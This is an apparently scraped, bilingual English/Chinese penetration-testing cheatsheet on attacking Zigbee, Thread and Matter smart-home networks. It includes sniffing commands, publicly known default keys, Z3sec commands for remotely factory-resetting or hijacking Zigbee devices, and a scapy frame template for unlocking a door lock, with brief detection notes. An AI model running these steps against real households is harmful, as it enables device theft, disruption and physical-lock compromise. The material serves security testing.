Zigbee / Thread / Matter Attacks

Zigbee / Thread / Matter 攻击

802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.

基于 802.15.4 的 mesh 协议支撑着大多数“智能家居”设备。Zigbee 部署广泛，且存在众所周知的加密密钥复用问题；Thread（现代、基于 IPv6）采用更安全的默认配置；Matter 统一了它们的配网模型并采用更强的加密机制，但仍存在实现层面的隐患。

Quick Workflow

快速工作流

Sniff target frequency (channels 11–26 in 2.4 GHz)
Identify network coordinator and joining devices
For Zigbee: try Touchlink commissioning with the well-known key
Capture join-key exchange when devices commission
Replay or inject ZCL/ZHA cluster commands

嗅探目标频段（2.4 GHz 中的 11–26 信道）
确定网络 coordinator 和正在加入的设备
对于 Zigbee：尝试使用 well-known key 执行 Touchlink 配网
在设备配网期间捕获 join key 交换
重放或注入 ZCL/ZHA cluster 命令

Hardware

硬件

Adapter	Use
TI CC2531 USB stick	Cheap, works with Zigbee2MQTT, KillerBee
TI CC2540 / CC2652	Zigbee + Thread + BLE
Sonoff Zigbee Dongle E (CC2652P)	Modern, well-supported
ApiMote (KillerBee dev)	Multi-channel, scapy-dot15d4
HackRF + appropriate firmware	Lower-level RF flexibility

适配器	用途
TI CC2531 USB stick	价格低廉，可配合 Zigbee2MQTT、KillerBee 使用
TI CC2540 / CC2652	Zigbee + Thread + BLE
Sonoff Zigbee Dongle E (CC2652P)	较新，支持度高
ApiMote (KillerBee dev)	多信道，scapy-dot15d4
HackRF + appropriate firmware	更底层的 RF 灵活性

Discovery + Sniffing

发现与嗅探

bash

undefined

bash

undefined

KillerBee suite

zbstumbler -i 0 # find Zigbee networks zbid # ID coordinators zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap

scapy-dot15d4 for crafted frames

python3

from scapy.contrib.dot15d4 import * sniff(iface='/dev/ttyACM0', count=50)


In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.

python3

from scapy.contrib.dot15d4 import * sniff(iface='/dev/ttyACM0', count=50)


在 Wireshark 中使用 dot15d4 + zbee_nwk dissector 时，可以看到帧计数器、网络密钥（如果已加入网络）以及 ZCL 命令。

Touchlink Commissioning Abuse

Touchlink 配网滥用

Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:

0x9F559A553B7A6B2C5C4FBB4E84956F3D

Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.

bash

undefined

Touchlink（用于 Zigbee 3.0 配网，常见于照明设备）使用一个 well-known transport key：

0x9F559A553B7A6B2C5C4FBB4E84956F3D

许多消费级 Zigbee 灯泡 / 灯带会接受附近任意 radio 使用此 key 发起 Touchlink 配网——将它们加入你的网络，或从原网络中窃取它们。

bash

undefined

z3sec — Zigbee 3 commissioning attack toolkit

git clone https://github.com/IoTsec/Z3sec python z3sec_inter_pan.py --command "factory_reset_request" --device <addr> python z3sec_inter_pan.py --command "join_network" --network <PANID>


Outcomes:
- Factory-reset victim devices remotely (DoS / mass disrupt)
- Steal lights / sensors into attacker network
- Read network keys after joining device-to-network

git clone https://github.com/IoTsec/Z3sec python z3sec_inter_pan.py --command "factory_reset_request" --device <addr> python z3sec_inter_pan.py --command "join_network" --network <PANID>


结果：
- 远程将受害者设备恢复出厂设置（DoS / 造成大规模中断）
- 将灯 / 传感器窃取至攻击者网络
- 在设备加入网络后读取网络密钥

Network Key Capture During Joins

加入网络期间捕获网络密钥

bash

undefined

bash

undefined

Capture coordinator + joining device exchange

zbdump -c <ch> -w join.pcap

Decrypt if you obtain the trust center link key

Older Zigbee 1.x networks used a default trust center link key:

ZigBeeAlliance09

Modern networks use device-specific install codes


Once you have the network key, all traffic on that mesh is decrypted in Wireshark.


一旦获得 network key，就可以在 Wireshark 中解密该 mesh 上的所有流量。

ZCL / ZHA Cluster Command Abuse

ZCL / ZHA Cluster 命令滥用

Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:

python

undefined

Zigbee Cluster Library 定义了 on/off、level 和 lock cluster。拥有 network key 后，可以以任意设备身份发送命令：

python

undefined

scapy-dot15d4 frame to unlock a door lock

from scapy.contrib.dot15d4 import * from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...) sendp(frame, iface='/dev/ttyACM0')


The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.

from scapy.contrib.dot15d4 import * from scapy.contrib.zigbee import *

frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...) sendp(frame, iface='/dev/ttyACM0')


同一 primitive 可以打开门锁、切换开关、调暗灯光，或以控制流量淹没网络。

Thread Specifics

Thread 特性

Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.

Network credential is a commissioner-distributed PSKc
Devices join with the commissioner present
Mesh commissioning protocol is over UDP/CoAP

Attack surface:

PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
Reusing a leaked credential to join target network
6LoWPAN routing attacks (rank manipulation, sinkhole)

Thread（用于 Apple HomePod、Nest、Eero）使用 802.15.4 和 IPv6（6LoWPAN），并采用更强大的配网加密机制。

网络凭据是由 commissioner 分发的 PSKc
设备在 commissioner 在场的情况下加入
Mesh 配网协议通过 UDP/CoAP 运行

攻击面：

从 commissioner 设备（移动应用配套端、Apple Home、Nest 应用）窃取 PSKc
重用泄露的凭据加入目标网络
6LoWPAN 路由攻击（rank 操纵、sinkhole）

Matter Commissioning

Matter 配网

Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:

QR code or manual setup code grants commissioning permission
Bluetooth LE used for initial commissioning
Subsequent communication over Wi-Fi or Thread

Attack surface:

Setup-code reuse / replay if commissioning window not closed
BLE-MITM during initial commissioning (see
```
offensive-bluetooth-ble
```
)
Fabric-attestation flaws in early implementations

Matter 在统一的配网模型下整合 Zigbee/Thread/Wi-Fi 设备的接入：

QR code 或手动 setup code 授予配网权限
初始配网使用 Bluetooth LE
后续通信通过 Wi-Fi 或 Thread 进行

攻击面：

如果配网窗口未关闭，可复用/重放 setup code
初始配网期间存在 BLE-MITM 风险（参见
```
offensive-bluetooth-ble
```
）
早期实现存在 Fabric attestation 缺陷

Detection

检测

Coordinator may log unexpected device joins
Hub apps surface "new device" notifications — commonly ignored by users
Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4

coordinator 可能会记录异常设备加入事件
Hub 应用会显示“new device”通知——用户通常会忽略此类通知
防御方很少使用 Wireshark/Sonoff 捕获流量——大多数环境都不会监控 802.15.4

Engagement Cheatsheet

渗透测试速查表

bash

undefined

bash

undefined

1. Identify networks + channels

zbstumbler -i 0

2. Sniff target channel

zbdump -c <ch> -w cap.pcap

Open in Wireshark with dot15d4/zigbee dissectors

3. Touchlink attack on consumer Zigbee 3.0 lighting

python z3sec_inter_pan.py --command "factory_reset_request" --target <addr>

4. Steal device into attacker network

python z3sec_inter_pan.py --command "join_network" --target <addr>

5. With network key, issue ZCL commands directly

(custom scapy-dot15d4 + zbee_nwk frames)

6. For Thread: focus on commissioner / PSKc theft from companion apps

---

---

Key References

关键参考资料

KillerBee: github.com/riverloopsec/killerbee
Z3sec: github.com/IoTsec/Z3sec
"Zigbee Insecurity" research (CON Black Hat talks)
Thread spec: threadgroup.org/support
Matter / CSA spec: csa-iot.org/all-solutions/matter
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

KillerBee：github.com/riverloopsec/killerbee
Z3sec：github.com/IoTsec/Z3sec
“Zigbee Insecurity”研究（CON Black Hat 演讲）
Thread 规范：threadgroup.org/support
Matter / CSA 规范：csa-iot.org/all-solutions/matter
来源：https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

offensive-zigbee-thread-matter

Original

Translation

Zigbee / Thread / Matter Attacks

Zigbee / Thread / Matter 攻击

Quick Workflow

快速工作流

Hardware

硬件

Discovery + Sniffing

发现与嗅探

KillerBee suite

KillerBee suite

scapy-dot15d4 for crafted frames

scapy-dot15d4 for crafted frames

Touchlink Commissioning Abuse

Touchlink 配网滥用

z3sec — Zigbee 3 commissioning attack toolkit

z3sec — Zigbee 3 commissioning attack toolkit

Network Key Capture During Joins

加入网络期间捕获网络密钥

Capture coordinator + joining device exchange

Capture coordinator + joining device exchange

Decrypt if you obtain the trust center link key

Decrypt if you obtain the trust center link key

Older Zigbee 1.x networks used a default trust center link key:

Older Zigbee 1.x networks used a default trust center link key:

ZigBeeAlliance09

ZigBeeAlliance09

Modern networks use device-specific install codes

Modern networks use device-specific install codes

ZCL / ZHA Cluster Command Abuse

ZCL / ZHA Cluster 命令滥用

scapy-dot15d4 frame to unlock a door lock

scapy-dot15d4 frame to unlock a door lock

Thread Specifics

Thread 特性

Matter Commissioning

Matter 配网

Detection

检测

Engagement Cheatsheet

渗透测试速查表

1. Identify networks + channels

1. Identify networks + channels

2. Sniff target channel

2. Sniff target channel

Open in Wireshark with dot15d4/zigbee dissectors

Open in Wireshark with dot15d4/zigbee dissectors

3. Touchlink attack on consumer Zigbee 3.0 lighting

3. Touchlink attack on consumer Zigbee 3.0 lighting

4. Steal device into attacker network

4. Steal device into attacker network

5. With network key, issue ZCL commands directly

5. With network key, issue ZCL commands directly

(custom scapy-dot15d4 + zbee_nwk frames)

(custom scapy-dot15d4 + zbee_nwk frames)

6. For Thread: focus on commissioner / PSKc theft from companion apps

6. For Thread: focus on commissioner / PSKc theft from companion apps

Key References

关键参考资料